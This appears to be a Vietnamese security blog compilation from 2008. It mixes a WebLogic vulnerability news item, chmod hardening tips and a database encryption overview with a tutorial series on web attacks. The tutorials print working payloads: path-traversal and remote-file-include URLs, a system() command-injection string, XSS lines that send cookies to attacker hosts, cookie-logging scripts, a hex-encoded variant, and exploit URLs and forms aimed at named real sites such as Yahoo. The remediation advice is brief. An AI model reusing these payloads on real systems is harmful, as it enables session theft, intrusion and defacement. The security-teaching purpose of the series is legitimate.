Oracle cảnh báo lỗ hổng WebLogic nguy hiểm Thứ Sáu, Tháng 8 1 2008 

Oracle Corp đang khẩn trương phát triển bản vá cho một lỗ hổng bảo mật cực kỳ nguy hiểm trong phần mềm máy chủ WebLogic bởi mã khai thác lỗi hiện đã được tung lên mạng Internet.

Minh chứng rõ ràng nhất cho mức độ nguy hiểm của lỗ hổng bảo mật WebLogic được phát hiện lần này chính là việc, hôm qua (29/7), Oracle đã phát hành bản tin cảnh báo khách hàng tình trạng khẩn cấp này.

Đây là lần đầu tiên trong 3 năm trở lại đây Oracle phát hành bản tin cảnh báo bảo mật lệch với thông lệ thường thấy.

Theo Oracle, lỗ hổng bảo mật nói trên phát sinh trong sản phẩm Oracle WebLogic Server và WebLogic Express – hay còn được biết đến bằng tên gọi BEA WebLogic. Đây đều là hai ứng dụng dành cho máy chủ.

Eric Maurice – Chuyên gia hàng đầu của Oracle – cho biết nếu khai thác thành công lỗi này tin tặc có thể đăng nhập được vào máy chủ WebLogic mà không cần đến bất kỳ tài khoản người dùng nào, cho phép chúng chiếm được quyền điều khiển máy chủ WebLogic đó.

Lỗi này được đánh giá vào mức “10 điểm” – mức điểm cao nhất trên thang bậc đánh giá mức độ nguy hiểm lỗi bảo mật CVSS của Oracle.

Oracle khuyến cáo các nhà quản trị nên áp dụng giải pháp hạn chế tạm thời của hãng trong thời gian chờ đợi bản sửa lỗi. Các nhà quản trị có thể tìm thấy hướng dẫn chi tiết tại đây.

“Chúng tôi sẽ cố gắng để phát hành bản sửa lỗi trong thời gian sớm nhất,” ông Maurice khẳng định.

Trong khi đó, mã khai thác lỗi trên đây đã được tung lên mạng Internet từ ngày 15/7. Bản thân người phát tán lỗi cũng không hề gửi bất kỳ thông tin nào cảnh báo Oracle về lỗi này.
Theo VnMedia (Computerworld, PC World)

Chmod – tản mạn – phần 2 (sưu tầm) Thứ năm, Tháng 7 31 2008 

Hiện nay có rất nhiều diễn đàn bị Local Attack và dẫn đến hiện tượng down forum rất nhiều . Bài hướng dẫn này không hoàn toàn có thể giúp các bạn chống được Local Attack mà chỉ hạn chế được phần nào. Nguyên nhân bị Local do những sai lầm chết người của các Admin, ngay cả VNMagic cũng mắc sai lầm rất đáng trách . – CHMOD sai, i . Bản thân thư mục CHMOD la 755 do đó trên Server Linux, Config ko kỹ thì toàn bộ cấu trúc Folder và nội dung File đều có thể View được.

- Cấu trúc Forum ko có nhiều sửa đổi so với bản gốc nên attacker có thể dễ dành đoán biết vị trí các file quan trọng cần để lấy thông tin .

- Các thông tin quan trọng không hề được mã hóa .(cái này thì hạn chế một chút )

- Các thông tin quan trọng và các Action can thiệp đến CSDL ko được bảo vệ bởi các firewall Thực ra Local Attack có thể làm được rất nhiều thứ nguy hiểm hơn và khả năng chống cự là không thể nếu như bạn ko Zendcode và không có một Server tốt (có thể chống được Remview, CGI Telnet==> đây là hai công cụ Local rất tốt, chưa kể đến SSH Local nếu có Shell) Do đây là bài viết về bảo mật vả lại cũng ko muốn phổ biến kỹ thuật Hack nguy hiểm này nên tôi chỉ trình bày sơ qua các nguyên nhân dẫn đến tình trạng bị Local Attack rất phổ biến hiện nay ở VN .

Từ các phân tích trên có một số khuyến nghị tôi xin đưa ra để mọi người khắc phục :
- Mã hóa thông tin, các bạn có thể mã hóa thông tin lại và việc này sẽ vô hiệu hóa được việc các thông tin quan trọng của bạn bị đánh cắp .
- Tôi sẽ cho các bạn download Zendcode miễn phí của Matrix, có đầy đủ License, các bạn Load tại đây nhé : http://www.matrix2kol.net/download/
- CHMOD cho đúng, các bước sau đây rất quan trọng để bạn chống Local nên đề nghị các bạn chú ý thực hiện cho đúng :
+ CHMOD thư mục Public_html thành 710 thay vì 750 mặc định việc này sẽ giúp bạn bảo vệ được cấu trúc Website của mình.
+ CHMOD thư mục là 701 và cố gắng đừng bao giờ CHMOD 777, có một số folder ko quan trọng, bạn có thể CHMOD 755 để có thể hiện thị đúng và đầy đủ một số nội dung trong Folder đó .

Chú ý thế này, một số Server hỗ trợ CHMOD thư mục được 101, nếu Server của bạn hỗ trợ cái này thì hãy sử dụng nó, vì biện pháp CHMOD này rất an toàn, đến ngay cả Owner cũng ko thể xem được cấu trúc Folder ngay cả khi vào FTP. Hiện tôi chỉ thấy có Server của Eshockhost.net là hỗ trợ cái này

+ CHMOD File là 604 và nhớ rằng đừng bao giờ để là 666 nếu có việc cần 666 thì bạn CHMOD tạm để sử dụng lúc đó, sau đó hãy CHMOD lại ngay. Đối với các Server hỗ trợ CHMOD file 404 bạn hãy CHMOD như vậy, ví dụ Server Eshockhost.net

- Thay đổi cấu trúc, tên file mặc định có chứa các thông tin quan trọng . Nếu có thể hãy thay đổi cả cấu trúc CSDL nếu bạn làm được .

- Thiết lập các tường lửa truy cập Admin mà ko sử dụng đến CSDL, mã hóa User/Pass thì càng tốt, ngoài ra có hệ thống kiểm tra tác vụ của MOD, Admin … nếu quyền hạn xác nhận mới được thực hiện (cái này Matrix sử dụng rất thành công) .

Trên đây là hướng dẫn từng bước giúp các bạn cố gắng chống Local attack, dù sao đây cũng chỉ là hướng dẫn cơ bản, trong quá trình thực hiện, các bạn nên linh động hơn một chút, nếu có thêm ý tưởng gì mới thì hãy cùng nhau thảo luận tại đây.

Hy vọng bài viết sẽ giúp các Admin bảo mật tốt hơn diễn đàn của mình
(sưu Tầm )

Chmod – phần 1 (sưu tầm) Thứ năm, Tháng 7 31 2008 

Chắc các bạn đã từng động chạm đến CHMOD và cứ không hiểu tại sao các Mã Nguồn Web ,Portal cứ yêu cầu CHMOD Xin được đưa ra chút sơ lược về nó

CHMOD – đó là phạm trù liên quan đến các files và thư mục, có chức năng chỉ ra cho server biết, ai có thể làm gì đối với file hay thư mục nào đó. Chủ yếu CHMOD đưa ra các lệnh như quyền được đọc, viết vào file (hay thư mục), quyền thực hiện một công việc nhất định.
Vì phần lớn các server làm việc trên cơ sở hệ thống UNIX, nên chúng ta sẽ nghiên cứu về cách CHMOD chính cho các servers này.
Trên các hệ thống UNIX, người sử dụng được chia ra làm 3 nhóm: “user” (chủ nhân trực tiếp của các files), “group” (thành viên của nhóm mà người chủ nhân file có tham gia) và “world” (tất cả những trường hợp khác). Khi bạn kết nối với server, nó sẽ xác định xem bạn thuộc về nhóm nào. Ví dụ bạn kết nối với server bằng FTP, khai báo tên truy cập như một thành viên, chính server sẽ quy bạn vào nhóm “user”. Còn những thành viên khác truy cập bằng FTP thuộc về nhóm “group”. Khi ai đó đến site của bạn bằng trình duyệt web, sẽ được quy vào nhóm “world”.
Sau khi xác định nhóm, người sử dụng sẽ được gán quyền hạn nhất định đối với file hoặc thư mục nào đó. Cụ thể là người sử dụng sẽ được đọc, ghi hay tạo mới (hoặc xóa) file. Để xem thư mục nào đó thì nó phải ủng hộ cho việc xem này. Để được xem nội dung thư mục, thì các files hay thư mục con trong đó cũng phải có chế độ “Cho phép đọc”. Còn để tạo file hay thư mục mới nằm trong thư mục này lại đòi hỏi phải có quyền ghi. Tóm lại, để thực hiện một trong những việc trên, cần phải đặt vào thư mục chế độ “quyền đọc” và “quyền thực hiện”.

Bây giờ chúng ta sẽ thực hành…
Như trên đã nêu, có tất cả 3 nhóm người sử dụng và 3 “quyền hạn” đối với files hay thư mục. Để xác định quyền hạn cho các nhóm nhất định, thống nhất sử dụng các ký hiệu bằng con số như sau:
4 = read (quyền được đọc)
2 = write (quyền được ghi)
1 = execute (quyền được thực hiện)
Bằng phép cộng đơn giản các con số này có thể hiển thị được cả một “tổ hợp” quyền hạn khác nhau. Ví dụ, 3 (2+1) – quyền ghi và quyền thực hiện đối với file (hay thư mục); 5 (4+1) – quyền đọc và quyền thực hiện; 6 (4+2) – quyền đọc và quyền ghi; 7 (4+2+1) – quyền đọc, ghi và thực hiện. Tóm lại có tất cả 7 phương án sau:
7 = read, write & execute
6 = read & write
5 = read & execute
4 = read
3 = write & execute
2 = write
1 = execute
Ký hiệu lệnh CHMOD thường có 3 con số: con số đầu thể hiện quyền hạn gán cho người sử dụng thuộc nhóm “user” (Tức là đối với bạn). Con số thứ hai chỉ ra quyền hạn của người sử dụng thuộc nhóm “group” và con số thứ ba – dành cho nhóm “world”.
Trong phần lớn các chương trình FTP hiện đại đều ủng hộ CHMOD theo kiểu nêu trên (Ví dụ, công cụ truy cập bằng FTP mạnh nhất hiện nay là WS_FTP)
Thế nhưng cũng không thừa nếu như ta biết thêm về các lệnh của hệ thống UNIX. lệnh “chmod” trong UNIX có 2 chế độ: tuyệt đối (Bằng các con số) và bằng các ký hiệu chữ.
Khi sử dụng chế độ tuyệt đối (bằng các con số), thống nhất dùng tổ hợp 3 con số được nêu trên để thể hiện quyền hạn.
Trong trường hợp sử dụng ký hiệu chữ, chúng ta sẽ bắt gặp những ký hiệu sau:
“r” – quyền được đọc
“w” – quyền được ghi
“x” – quyền được thực hiện
Ngoài ra còn có:
“u” – đối với user
“g” – đối với group
“o” – đối với other (world)
“a” – đối với all (tất cả)
Ví dụ: 755 = chmod u=rwx,go=rx filename; 644 = chmod u=rw,go=r filename; 600 = chmod u=rw,go= filename; 444 = chmod a=r filename.

Path Traversal và URIs Thứ Ba, Tháng 4 1 2008 

Việc sử dụng rộng rãi các Web application sẽ đóng vai trò như một trình bao bọc (wrapper) cho các tập tin của Web content, mở và gói chúng trả lại trong các đoạn HTML. Điều này có thể thấy ở ví dụ trên về code injection. Một lần nữa sanity check là chìa khóa để ……… .. Nếu như variable đó đang được đọc để chỉ định tập tin sẽ được wrapped không được kiểm tra, thì đường dẫn tương đối có thể được nhập vào.

Từ ví dụ của chúng tôi về misc.code injection, nếu developer không thể chỉ định một tập tin có hậu tố là fopen ():

fopen(“$file” , “r”);

… thì attacker có thể traverse đến bất kỳ tập tin nào có thể đọc được bằng Web application.

http://www.victim.com/index.php?file=../../../../etc/passwd

Yêu cầu này sẽ gửi trả những nội dung của /etc/passwd trừ phi quá trình xoá bổ sung ký tự đường dẫn (/.) đã được thực hiện trên biến tập tin này.

Vần đề này càng thêm tồi tệ vì quá trình handling tự động của URIs bằng nhiều kỹ thuật scripting Web hiện đại, bao gồm PHP, Jave và Microsoft’s .NET.

Và đây là 1 ví dụ trên nền Flatform khác với Code ứng dụng dotnet

Code and Content Injection Thứ Ba, Tháng 4 1 2008 

Code injection là gì? Các lỗ hổng code injection xảy ra khi output hay content từ một Web App bị điều chỉnh bằng cách nào đó mà nó nó khởi động quá trình thực thi mã trên server. Ở một số Web AP kém chất lượng mà ở đó user có thể sửa đổi những tập tin trên server người ta có thể inject code trong ứng dụng đó.

Loại lỗ hổng này xoay quanh cách ứng dụng đó load và pass những nội dung của những tập tin đã bị điều chỉnh này – nếu nó được thực hiện trước khi scripting language bị phân tách và thực thi thì nội dung đã được user hiệu chỉnh khó tránh khỏi bị phân tách và thực thi.

Ví dụ : Một bản tin đơn giản trong PHP

Code
Đoạn mã PHP sau đây được sử dụng để hiện thị các posts cho một message board đặc biệt. Nó thu hồi messageid GET variable từ user và mở tập tin $messageid.txt dưới /var/www/forum:

<?php include(‘/var/www/template/header.inc’); if (isset($_GET['messageid']) && file_exists(‘/var/www/forum/’ . stripslashes($messageid) . ‘.txt’) && is_numeric($messageid)) { include(‘/var/www/forum/’ . stripslashes($messageid) . ‘.txt’); } else { include(‘/var/www/template/error.inc’); } include(‘/var/www/template/footer.inc’); ?>

Mặc dù việc kiểm tra is_numeric () ngăn không cho user vào đường dẫn tập tin như messageid nhưng nội dung của message file thì không được kiểm tra. (Vấn đề cho phép uncheck entry của đường dẫn tập tin sẽ được giải thích sau). Nếu một thông điệp có chứa mã PHP, thì nó sẽ là include () ‘d và do đó sẽ được thực thi bởi server .

Cách đơn giản để khai thác lỗ hổng đơn giản này là gửi đến message board một đoạn mã đơn giản bằng ngôn ngữ của ứng dụng đó (trong ví dụ này là PHP), rồi quan sát điểm đó và xem thử output có biểu thị mã đã được thực thi hay không.

Khi chúng ta quan sát bằng SQL injection, những ký tự đặc biệt SQL và từ khoá phải được xóa. Nhưng đối với một Web Application mở một cổng nối tiếp và nhập thông tin từ xa qua modem thì sao ? Liệu user input của một modem command escape string có thể làm cho modem ngừng quay số và bấm lại số khác được hay không? Đây đơn thuần chỉ là một ví dụ về khái niệm injection. Điểm quan trọng đối với một penetration tester là hiểu được những gì mà Web Application đó đang chạy trên background, và liệu những đối số đối của các call hay chuỗi command này có thể bị điều chỉnh thông qua các header, cookie và các biến GET/POST hay không.

REMOTE FILE INCLUDE

Ví dụ: PHP fopen ()
Tham khảo

http://www.php.net/fopen

Hãy lấy PHP fopen (), một vấn đề phổ biến như một ví dụ về thế giới thực. Hàm PHP’s file-open fopen () dành cho URLS sẽ được nhập vào vị trí của một filename, đơn giản hoá quá trình truy cập những dịch vụ Web và tài nguyên từ xa. Chúng ta hãy lấy ví dụ về một trang đơn giản như sau:

Code
URL: www.victim.com/index.php?file=file

<?php include(‘/var/www/include/header.inc’); if (isset($_GET['file']) { $fp = fopen(“$file” . “.html”,”r”); } else { $fp = fopen(“file.html”, “r”); } include(‘/var/www/include/footer.inc’);
?>

Tập lệnh index.php bao gồm header code và footer code, và trang fopen ()’ được biểu thị bằng file GET variable. Nếu không có file variable (biến tập tin) nào được cài đặt thì nó sẽ mặc định thành main.html. Developer phải đặt một tập tin có phần mở rộng là .html, nhưng không chỉ định directory prefix. Khi PHP developer kiểm tra mã này ngay lập tức sẽ thấy rằng mã này rất dễ bị phá vỡ đối với directory traversal attack, miễn là filename đó requested ends in .html (Xem ở dưới).

Tuy nhiên, do những tính năng xử lý URL của fopen (), trong trường hợp này một attacker có thể submit như sau:

http://www.victim.com/index.php?file=http:…remote.com/file

Điều này sẽ buộc example application phải fopen () file file .html đó tại http://www.remote.com/. Nếu tập tin này có chứa PHP code (Nếu host của kẻ tấn công có hỗ trợ PHP thì tập tin chứa trong định dạng plain) thì nó sẽ được kết nạp vào output của index.php application đó, và do đó sẽ được thực thi bởi server. Bằng cách này, một attacker có thể inject PHP code ảo vào output của Web application, và buộc server phải thực thi mã theo ý kẻ tấn công.

Chú ý : Nhiều trường hợp test remote không thành công là do thiếu các lệnh khai thác ngay sau tập tin thực thi

Những kiểu này là rất phổ biến đối với PHP code như Joomla, Mambo… Như Joomla riêng năm 2007 có trên 10 lỗi bị RFI

Code

http://www.example.com/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=

http://www.example.com/index.php?searchword=”;phpinfo();%23&option=com_search&Itemid=1
http://www.example.com/index.php?c=id&searchword=”;system($_GET[c]);%23&option=com_search&Itemid=1
http://www.example.com/index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=[SQL inject]

http://www.example.com/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=[Shell]

http://www.example.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_abso

lute_path=[Shell]‘
….

Kết cục đó là chính Joomla.org bị deface 2 lần trong năm nay

Năm 2006 cũng đánh dấu một bug (lỗi? – có bạn nào bug không phải là lỗi???) kinh hoàng của IPB, đó là hàm EVAL của phần search trên IPB làm cho HVA bị mất hết dữ liệu
Code

http://www.ipbforum.com/index.php?act=Search&CODE=show&searchid=368a4e904d477bf731c80e67d4a3e85d&search_in=posts&result_type=posts&highlite=hoangyeneval&lastdate=z|eval.*?%20//)%23e%00

Một vài ví dụ lỗi của RFI

Bài 4: XSS attack – Chèn mã lệnh thực thi trên trình duyệt Thứ Ba, Tháng 4 1 2008 

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

Biểu đồ tỷ lệ XSS Bug trong Web App (Nguồn Acunetix)

Kỹ thuật nay chuyên thực thi trên trình duyệt người dùng để đánh cắp cookies, mật khẩu, session hay fishing lừa đảo … bằng cách chèn các script lợi dụng DOM (Document Object Model) tại các vị trí sau:

<script>Mã độc hại</SCRIPT>
<EMBED SRC=”http://www.phim.com/movies/abc.mov”>
<script>
<OBJECT>
<APPLET>
<EMBED>
<FORM>

Cách insert dạng

Inline Scripting
search.cgi?criteria=<script>code</script>
search.cgi?val=<script SRC=’http://evil.org/hoangyen.js’> </SCRIPT>
COM2.IMG%20src= “java script:alert(document.domain)”

Forced Error Responses

search.cgi?blahblahblahblahblah<script>code</script>
servlet/ org.apache.catalina.servlets.WebdavStatus/<script>code</script>

Non <script> Events
<A HREF=”exploit string”>Go</A>
resulting in:
<A HREF=”" [event]=’code’”>Go</A>

<b onMouseOver=”self.location.href=’http://evil.org/’”>bolded text</b>

JavaScript Entities
<img src=”&{alert(‘CSS Vulnerable’)};”>

Typical Payloads Formatting
<img src = “malicious.js”>
<script>alert(‘hacked’)</script>
<iframe = “malicious.js”>
<script>document.write(‘<img src=”http://evil.org/’+document.cookie+’”) </script>
<a href=”java script:…”>click-me</a>

Sau khi chèn các script lên đó, Attacker sẽ gửi nội dung đã chèn cho người dùng qua email hay dụ người dùng vào xem vị trí trang web đã chèn script đó (như chèn trong chữ ký của attacker…). Khi người sử dụng vào thì thông tin của người dùng đã chuyển tới 1 file (dạng CGI/PHP/ASP/PERL) lưu thông tin do attacker tạo ra hoặc attacker biến đổi nội dung của trang web trong đó xuất hiện nội dung của attacker (Dạng như IFRAME) .

Mẫu nội dung của file lưu thông tin

Dạng ASP
Code
<%
Set x = CreateObject(“Scripting.FileSystemObject”)
Set y = x.OpenTextFile(Server.MapPath(“XSS.txt”), 8, true)
y.WriteLine Request.QueryString(“XSS”)
y.Close
Set y = Nothing
Set x = Nothing
%>

Dạng PHP
Code
<?
$f = fopen(“XSS.txt”,”a”);
fputs($f, $xss.chr(13));
fclose($f);
?>

Dạng send về email

Code
<?php
if ($contents && $header){
mail(“hoangyenxinhdep@yahoo.com“ , “from mail script“,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >

<?php
} else {
echo “nope“;
}

Ta hãy xem 1 ví dụ sau :

Code
<a href=”http://www.vnsecurity.com/index.php?type=<script>document.location.replace(‘http://www.Attacker.com/xss.cgi’+document.cookies);</script>”> Hot Hot !!! Vietnamnet bi hack ne

Điều gì sẽ xảy ra khi user click vào link và đăng nhập? Thông tin của user hay mod thậm chí cả admin cũng có thể sẽ bị attacker chiếm được .

Ví dụ sau giúp ta có thể đưa được trang vnsecurity.com vào trong website của Hội tin học VN (Vẫn còn hiệu lực)
Code
http://www.diendan.tinhoc-doisong.net/search.asp?Search=”><script>alert(‘Hoangyenxinhdep’)</script><iframe%20src=”http://www.vnsecurity.com”></iframe>

Bug XSS của Yahoo , Bug này chị đã thông báo cho Yahoo không biết họ có nhận được thông tin hay không

Code
http://realestate.yahoo.com/New_York/Schenectady/Homes_for_sale/result.html;_ylt=AvVmhFczFhp9qto6He9R03mkF7kF?typeBak=”><script>alert(document.cookie)</script>
http://realestate.yahoo.com/New_York/Schenectady/Homes_for_sale/result.html;_ylt=AvVmhFczFhp9qto6He9R03mkF7kF?typeBak=”><script>alert(‘hoangyenxinhdep’)</script>

or at the sort string
for example

http://albany.yahoo.idx.prumanor.com/results.aspx?&VIP=Yahoo!+IDX&cc=realestate&fclose=n&newhome=n&za=and&searchgeo=Schenectady%2c+NY&searchtype=2&propertytype=1%2c2&sort=5&sortacdc=”><script>alert()</script><iframe%20src=”http://www.vnsecurity.com”></iframe>

Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng…

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ‘ hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác

Hex Usage:

Code

http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

Cách khắc phục : Tốt nhất là tự mình test hết một lượt :)

Bài 3: Kỹ thuật tấn công thông qua Cookies Thứ Ba, Tháng 4 1 2008 

(hyxd -vhs)

Khi lập trình website, các coder thường xử dụng 2 kỹ thuật xác định authentication của dữ liệu bằng phiên làm việc (session time out của Hệ thống) hoặc Cookies, Tuy nhiên theo Cookies được ưa chuộng hơn do ưu điểm không phụ thuộc vào time out của hệ thống và không tăng CPU Process của một Web App làm cho chương trình hoạt động nhẹ nhàng hơn.

Chính vì vậy, thông qua lỗi XSS hay một số lỗi khác như SQL injection, Attacker có thể chiếm được thông số cookies để biến cookies theo tham số mới của victim để chiếm phiên làm việc của nạn nhân. Về Fake cookies thế nào, HY xin bàn đến ở phần khác vì nó khá dễ dàng và trên này cũng đã có khá nhiều bài viết về nó.

Xin ví dụ một số trường hợp cơ bản

Ví dụ của 1 Forum Open code đã có Cookies cho thành viên dạng như sau:

Code

Cookie: Lang en-us MemberID=1234 Type=4 Time:12:30PM;

Ta chú ý MemberID=1234 Type=4 ? Vì Type=4 là Member, nếu để ý hơn sẽ thấy các Type khác như 3,2,1 và ở đây Type=1 là ADMIN. Nếu ta thay như sau

Code

Cookie: Lang en-us MemberID=1 Type=1 Time:12:30PM;

Điều gì sẽ xảy ra khi ta khởi động lại trình duyệt? dĩ nhiên ta đang chiếm phiên làm việc của admin

Giải pháp:

1. Mã hóa cookies

2. Tạo session lưu trên máy chủ để so sánh thêm

P/s : Tuy nhiên cuộc chiến về Cookies và Session ID thì chưa bao giờ có hồi kết bất chấp mọi biện pháp vì những lỗi khác liên quan có thể giúp attaker “phun” các dữ liệu ra. Hiện nay các diễn đàn và các Blog rất dễ bị mắc các lỗi thông qua Cookies

Một ví dụ về Bug của IBP giúp cho ta có thể khai thác được các thông số của 1 ID bất kỳ

Bài 2 : Thao tác qua các biến ẩn của Form Posting Thứ Ba, Tháng 4 1 2008 

(hyxd -vhs)

Khi xây dựng form hay một số ứng dụng web Ap có khả năng xử dụng các form save thành html về PC của attacker để thay đổi các biến ẩn của form để khai thác hệ thống hay web app.

Ngoài việc tấn công qua biến ẩn của form, Attcker có thể sử thay đổi các thành phần trên form như độ dài của ô nhập dữ liệu để tấn công tràn bộ đệm

Bài học :

Các bạn dễ dàng tìm thấy khá nhiều các bugs nổi tiếng khai thác qua biến ẩn của form như Hosting controller Hotfix 6.2 có thể add được thêm USER cho server Windows hosting mà Kẻ hiếu học đã công bố trên SECURITYFOCUS năm ngoái

Code Form:

Code

<FORM action=”http://[target]/admin/hosting/addsubsite_online.asp” method=”post”>

<INPUT type=”hidden” name=”domaintypecheck” value=”SECOND” id=”Hidden1″>

Domain: <INPUT name=”DomainName” value=”hcegroup.net” id=”Hidden2″><BR>

Username: <INPUT name=”loginname” value=”kehieuhoc” id=”Hidden3″><BR>

<INPUT type=”hidden” name=”Quota” value=”-1″ id=”Hidden4″>

<INPUT type=”hidden” name=”htype” value=”27″ id=”htype5″ >

<INPUT type=”hidden” name=”choice” value=”1″ id=”Hidden6″ >

Password: <INPUT name=”password” value=”kehieuhoc” id=”Hidden7″><BR><BR>

<input type=”submit” value=”Make”>

</FORM>

Hãy xem mô hình của 01 Form HTML exploit qua biến ẩn

Và đây là kết quả Exploit

Thông qua khai thác bằng cách này, toàn bộ File config của PHPBB 2.0.10 đã bị show ra một cách dễ dàng

Các bạn có thể bổ xung thêm nhiều Bug có thể hack qua khai thác biến ẩn của form và liệt kê ngay dưới đây coi như bài tập về tình huống này. Rất mong các bạn đóng góp ý kiến và cùng tham gia

Cách khắc phục : Dùng biến sessionID hay MD5 tạo chuỗi mẫu trong xử lý dữ liệu liên quan đi kèm để so sánh hoặc hạn chế chỉ dùng biến ẩn form cho hiển thị chứ không nên dùng cho việc xử lý dữ liệu liên quan

Kiến thức về bảo mật web , Tuyển tập nhiều kỳ Thứ Ba, Tháng 4 1 2008 

(hoangyenxinhdep - vhs)

Trước khi viết một loạt các bài viết về Tấn công và bảo mật website HY xin có một số ý kiến
1. Hy không phải là coder nên phần code có thể không nắm rõ thuật ngữ hay cơ chế hoạt động bên trong của 1 hệ thống một cách kỹ càng
2. Kiến thức là đi học hay tìm hiểu mà có, nên có thể là kiến thức đã cũ hay trùng lặp đâu đó
3. Các bạn tuyệt đối không sử dụng để đi tấn công bất kỳ một hệ thống nào mà GÂY HẠI đến nó

Chúng ta có thể bắt đầu

Bài 1 : Thao tác trên tham số truyền Get hoặc post

Một số Code lập trình có tham số victim.com/admin.php?username=ABC&newpass=xxxx cho phép user đổi pass mới mà không check các tham số session, Oldpass hay authentication, ta có thể mò được tham số truyền này để đổi password của admin hay user bằng cách gõ victim.com/admin.php?usename=ABC&newpass=123456 với 123456 là password mới cần đổi

Ví dụ điển hình :
1. Snitz forum 3.0.4 cho phép change password bất kỳ ID nào thông qua 1 form change pass do forum cung cấp qua email của attacker đăng ký bằng 1 nick bình thường
2. Hệ thống Yahoo
Yahoo domain đã có 1 sơ hở trên add_access_results.php cho phép ta có thể add quyền quản lý domain của bất kỳ domain nào trên Yahoo sang ID của ta bằng tham số truyền

https://bill.sbs.yahoo.com/add_access_results.php?d=domain.com&yid=hoangyenxinhdep

Ví dụ domain http://www.spendingspending.com

….

Cách khắc phục :

- Ứng dụng cơ chế bảng băm (hash table), tức là mỗi 1 username sẽ được kèm 1 theo 1 biến hash lưu trong data, mỗi khi người dùng đăng nhập sẽ có 1 hash đi kèm và sẽ so sánh trên csdl để đảm bảo username này là hợp lệ, và sẽ tránh được các request thực thi khi không có hash.

Hết bài 1

Bảo mật cơ sở dữ liệu Thứ Ba, Tháng 4 1 2008 

rong chiến lược bảo mật dữ liệu, đa số các công ty hiện nay tập trung nguồn lực vào bảo vệ dữ liệu trên đường truyền. Trong khi đó vấn đề bảo vệ dữ liệu nằm trong cơ sở dữ liệu (CSDL, database) chưa được quan tâm đúng mức. Thực tế cho thấy, sự cố về an ninh xảy ra với CSDL có thể ảnh hưởng nghiêm trọng đến danh tiếng của công ty và quan hệ với khách hàng. Sự cố an ninh mất cắp 40 triệu thẻ tín dụng của khách hàng gần đây xảy ra với Master Card và Visa Card đã phần nào gia tăng sự chú ý đến các giải pháp bảo mật CSDL.

Trong phạm vi bài này, người viết muốn trình bày các giải pháp bảo mật CSDL bằng phương pháp xây dựng tầng mã hóa.

Giải pháp đơn giản nhất bảo vệ dữ liệu trong CSDL ở mức độ tập tin, chống lại sự truy cập trái phép vào các tập tin CSDL là hình thức mã hóa. Tuy nhiên, mã hóa dữ liệu ở mức độ này là giải pháp mang tính “được ăn cả, ngã về không”, giải pháp này không cung cấp mức độ bảo mật truy cập đến CSDL ở mức độ bảng (table), cột (column) và dòng (row). Một điểm yếu nữa của giải pháp này là bất cứ ai với quyền truy xuất CSDL đều có thể truy cập vào tất cả dữ liệu trong CSDL. Điều này phát sinh một nguy cơ nghiêm trọng, cho phép các đối tượng với quyền quản trị (admin) truy cập tất cả các dữ liệu nhạy cảm. Thêm vào đó, giải pháp này bị hạn chế vì không cho phép phân quyền khác nhau cho người sử dụng CSDL.

Giải pháp thứ hai, đối nghịch với giải pháp mã hóa cấp tập tin nêu trên, giải quyết vấn đề mã hóa ở mức ứng dụng. Giải pháp này xử lý mã hóa dữ liệu trước khi truyền dữ liệu vào CSDL. Những vấn đề về quản lý khóa và quyền truy cập được hỗ trợ bởi ứng dụng. Truy vấn dữ liệu đến CSDL sẽ trả kết quả dữ liệu ở dạng mã hóa và dữ liệu này sẽ được giải mã bởi ứng dụng. Giải pháp này giải quyết được vấn đề phân tách quyền an ninh và hỗ trợ các chính sách an ninh dựa trên vai trò (Role Based Access Control – RBAC). Tuy nhiên, xử lý mã hóa trên tầng ứng dụng đòi hỏi sự thay đổi toàn diện kiến trúc của ứng dụng, thậm chí đòi hỏi ứng dụng phải được viết lại. Đây là một vấn đề đáng kể cho các công ty có nhiều ứng dụng chạy trên nhiều nền CSDL khác nhau.

Từ những phân tích hai giải pháp nêu trên, có thể dễ dàng nhận thấy một giải pháp bảo mật CSDL tối ưu cần hỗ trợ các yếu tố chính sau:
Hỗ trợ mã hóa tại các mức dữ liệu cấp bảng, cột, hàng.
Hỗ trợ chính sách an ninh phân quyền truy cập đến mức dữ liệu cột, hỗ trợ RBAC.
Cơ chế mã hóa không ảnh hưởng đến các ứng dụng hiện tại.

Dưới đây là hai mô hình thỏa mãn các yêu cầu trên, đặc biệt là yêu cầu thứ ba.

1. Xây dựng tầng CSDL trung gian

Trong mô hình này, một CSDL trung gian (proxy) được xây dựng giữa ứng dụng và CSDL gốc (Sơ đồ 1). CSDL trung gian này có vai trò mã hóa dữ liệu trước khi cập nhật vào CSDL gốc, đồng thời giải mã dữ liệu trước khi cung cấp cho ứng dụng. CSDL trung gian đồng thời cung cấp thêm các chức năng quản lý khóa, xác thực người dùng và cấp phép truy cập.

Giải pháp này cho phép tạo thêm nhiều chức năng về bảo mật cho CSDL. Tuy nhiên, mô hình CSDL trung gian đòi hỏi xây dựng một ứng dụng CSDL tái tạo tất cả các chức năng của CSDL gốc.

